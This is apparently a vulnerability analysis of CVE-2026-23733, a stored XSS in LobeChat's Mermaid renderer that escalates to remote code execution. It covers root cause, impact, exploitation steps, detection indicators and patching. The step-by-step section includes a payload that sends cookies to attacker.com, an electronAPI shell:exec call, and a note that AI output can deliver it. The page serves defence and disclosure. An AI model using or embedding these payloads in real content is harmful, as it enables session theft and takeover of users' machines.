CVE-2026-23733: 
JavaScript vulnerability analysis and mitigation

CVE-2026-23733 is a stored Cross-Site Scripting (XSS) vulnerability in LobeChat's Mermaid artifact renderer that can be escalated to Remote Code Execution (RCE) via the exposed electronAPI IPC bridge. It affects LobeChat versions prior to 2.0.0-next.180 (npm package @lobehub/chat versions ≤ 1.143.2). The vulnerability was published on January 17, 2026 by maintainer arvinxx and disclosed via the GitHub Advisory Database on January 20, 2026. The GitHub Advisory Database assigns a CVSS v3.1 score of 9.6 (Critical) based on network-accessible, no-privileges-required exploitation, while the CNA (GitHub, Inc.) score is 6.4 (Medium) under a more restrictive local attack vector assessment (GitHub Advisory, Github Advisory).

The root cause is improper input sanitization (CWE-94 — Improper Control of Generation of Code) in the Mermaid diagram renderer component. When processing chat artifacts of type application/lobe.artifacts.mermaid, the content variable derived from user or AI-generated messages is passed directly to the renderer without sanitization: case 'application/lobe.artifacts.mermaid': { return <MermaidRenderer>{content}</MermaidRenderer>; }. The Mermaid library renders HTML labels within node definitions (e.g., A["<script>...</script>"]) directly into the DOM, allowing injected <script> tags to execute. In the Electron desktop application context, this JavaScript execution can then access the exposed electronAPI IPC bridge to invoke arbitrary system commands, escalating XSS to full RCE. A minimal PoC payload is publicly documented in the advisory: a Mermaid graph block containing a script tag within a node label (GitHub Advisory, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript within the LobeChat application context, which in the Electron desktop client can be further leveraged to run arbitrary operating system commands on the victim's machine via the electronAPI IPC bridge. This enables complete system compromise including data theft (high confidentiality impact), file system manipulation (integrity impact), and potential denial of service (availability impact). The stored nature of the XSS means a single malicious artifact can persistently affect all users who view the compromised chat session, enabling lateral movement within shared workspaces (GitHub Advisory, Feedly).

A proof-of-concept payload is publicly documented in the GitHub Security Advisory, consisting of a crafted Mermaid diagram block with an embedded <script> tag in a node label. As of the time of reporting, there is no evidence of active in-the-wild exploitation or threat actor attribution (Github Advisory). The EPSS score is approximately 0.078–0.151% (35th percentile), indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Craft malicious artifact: Prepare a Mermaid diagram payload embedding a <script> tag within a node label, e.g.:

```mermaid
graph TD;
A["<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"];

2. **Deliver the payload**: Send the malicious Mermaid artifact as a chat message or AI-generated response within a LobeChat session accessible to the target victim (e.g., a shared workspace or by inducing an AI model to output the payload).
3. **Trigger rendering**: Wait for the victim to open or view the chat session containing the artifact. The LobeChat Mermaid renderer processes the `application/lobe.artifacts.mermaid` content type and passes the unsanitized content to the DOM.
4. **Execute arbitrary JavaScript**: The Mermaid library renders the HTML label directly into the DOM, causing the embedded `<script>` tag to execute within the application's security context.
5. **Escalate to RCE (Electron only)**: From the JavaScript execution context, access the exposed `electronAPI` IPC bridge to invoke Node.js/system-level APIs, e.g.:
```javascript
window.electronAPI.invoke('shell:exec', 'calc.exe');

6. Achieve system compromise: Execute arbitrary OS commands, exfiltrate data, establish persistence, or pivot to other systems on the victim's network (GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from the LobeChat Electron process to unknown external hosts, particularly shortly after a user views a chat artifact; DNS queries for attacker-controlled domains originating from the LobeChat process.
• Logs: LobeChat application logs showing rendering of application/lobe.artifacts.mermaid artifacts containing <script> tags or encoded HTML entities in node labels; IPC bridge invocations (electronAPI) with unusual command arguments.
• Process: Unexpected child processes spawned by the LobeChat Electron main process (e.g., cmd.exe, /bin/sh, powershell.exe, curl, wget); unusual process trees with LobeChat as the parent.
• File System: New or modified files in user directories created by the LobeChat process; unexpected scripts or executables dropped in temp directories (%TEMP%, /tmp) by the LobeChat process.

The vendor has released a patch in LobeChat version 2.0.0-next.180, which addresses the unsanitized content rendering in the Mermaid artifact renderer. Users should update immediately to version 2.0.0-next.180 or later. As interim mitigations: restrict user access to LobeChat artifacts from untrusted or unknown sources; review and restrict the electronAPI IPC bridge exposure in Electron deployments; and consider implementing Content Security Policy (CSP) headers or sandboxing for untrusted content rendering contexts (GitHub Advisory, Github Advisory).

A technical write-up titled "Mermaid's Song: From Flowchart to Remote Code Execution in LobeChat" was published on dev.to and mirrored on infinitsec.net, providing detailed analysis of the exploitation chain (dev.to write-up). The vulnerability was noted by security aggregators including INCIBE-CERT and VulDB, and received attention on Bluesky from CVE tracking accounts. Community reaction highlighted the risk of AI-generated content being weaponized to deliver XSS payloads, as the Mermaid renderer could process malicious diagrams output by AI models without user awareness.